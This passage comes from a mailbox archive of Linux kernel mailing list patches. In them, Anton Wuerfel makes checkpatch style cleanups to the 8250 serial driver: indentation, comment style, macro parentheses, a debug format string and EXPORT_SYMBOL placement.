@@ -788,6 +789,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1167,9 +1169,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 07/13] tty: serial: 8250: Fix line continuation warning
Date: Fri,  8 Jan 2016 18:43:53 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1452275039-18787-8-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275401 30903 80.91.229.3 (8 Jan 2016 17:50:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:50:01 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:49:52 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbAb-0001LB-26
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:49:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755541AbcAHRqH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:46:07 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48360 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755299AbcAHRqD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:03 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 4A7D958C4DF;
	Fri,  8 Jan 2016 18:45:57 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:57 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122099 gmane.linux.ports.parisc:26331
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122099>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 5e1b464..cf566bb 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -248,8 +248,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 13/13] tty: serial: 8250: Fix indentation warnings
Date: Fri,  8 Jan 2016 18:43:59 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <1452275039-18787-14-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275428 31197 80.91.229.3 (8 Jan 2016 17:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:50:28 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:50:05 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbAp-0001ZL-1B
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:50:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932130AbcAHRtv convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:49:51 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48293 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755494AbcAHRqG (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:06 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 6CED358C4E3;
	Fri,  8 Jan 2016 18:46:04 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:46:04 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122101 gmane.linux.ports.parisc:26332
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122101>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c |  6 +++---
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 09157fa..b0b47f9 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -841,12 +841,12 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
 		default:
 			if (num_serial =3D=3D 0) {
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index e99282f..a021e31 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -427,8 +427,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 343d050..da3b240 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -2235,9 +2235,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 12/13] tty: serial: 8250: Removed warning in debug output
Date: Fri,  8 Jan 2016 18:43:58 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1452275039-18787-13-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275461 31817 80.91.229.3 (8 Jan 2016 17:51:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:51:01 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:50:50 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbBZ-000292-R5
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:50:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755849AbcAHRul convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:50:41 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48319 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755469AbcAHRqF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 0EE0A58C4ED;
	Fri,  8 Jan 2016 18:46:03 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:46:03 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122102 gmane.linux.ports.parisc:26333
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122102>

This patch fixes type warnings in a debug output in 8250_pnp.c.
Those warnings never got triggered, because the command was nested
in an #ifdef, which is removed by a patch of this series.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index ba3a1af..e99282f 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -465,8 +465,8 @@ serial_pnp_probe(struct pnp_dev *dev, const struct =
pnp_device_id *dev_id)
 		return -ENODEV;
=20
 	dev_dbg(&dev->dev,
-		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		 uart.port.iobase, uart.port.mapbase,
+		 "Setup PNP port: port %lx, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, (unsigned long) uart.port.mapbase,
 		 uart.port.irq, uart.port.iotype);
=20
 	if (flags & CIR_PORT) {
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 08/13] tty: serial: 8250: Add parentheses to macro
Date: Fri,  8 Jan 2016 18:43:54 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <1452275039-18787-9-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275484 32233 80.91.229.3 (8 Jan 2016 17:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:51:24 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:51:20 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbBx-0002VD-Aw
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:51:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755931AbcAHRvF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:51:05 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48293 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751191AbcAHRqA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:46:00 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 67E9558C4DD;
	Fri,  8 Jan 2016 18:45:58 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:58 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122103 gmane.linux.ports.parisc:26334
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122103>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 15082ae..d042ad5 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
--=20
1.9.1



From - Thu Nov 08 21:38:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 04/13] tty: serial: 8250: Fix multiline comment style
Date: Fri,  8 Jan 2016 18:43:50 +0100
Lines: 188
Approved: news@gmane.org
Message-ID: <1452275039-18787-5-git-send-email-anton.wuerfel@fau.de>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452275503 32530 80.91.229.3 (8 Jan 2016 17:51:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 17:51:43 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 18:51:40 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHbCK-0002nz-0j
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 18:51:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755944AbcAHRv1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 12:51:27 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:48293 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755212AbcAHRp4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 12:45:56 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D261D58C4D8;
	Fri,  8 Jan 2016 18:45:53 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 18:45:53 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2122104 gmane.linux.ports.parisc:26335
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2122104>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_ingenic.c | 12 ++++++++----
 drivers/tty/serial/8250/8250_pnp.c     |  6 ++++--
 drivers/tty/serial/8250/8250_port.c    | 31 ++++++++++++++++----------=
-----
 drivers/tty/serial/8250/serial_cs.c    | 26 +++++++++++++++++---------
 4 files changed, 45 insertions(+), 30 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..086bd00 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
 		break;
=20
 	case UART_IER:
-		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		/*
+		 * Enable receive timeout interrupt with the
+		 * receive line status interrupt
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
-		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		/*
+		 * If we have enabled modem status IRQs we should enable modem
+		 * mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..ffa7354 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -367,8 +367,10 @@ static const struct pnp_device_id pnp_dev_table[] =
=3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track
+	 * of it to prevent the legacy serial driver from probing it
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
 	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index f2e588e..99f709c 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should b=
e
+	 * configured less than Maximum supported fifo bytes
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1969,23 +1971,22 @@ int serial8250_do_startup(struct uart_port *por=
t)
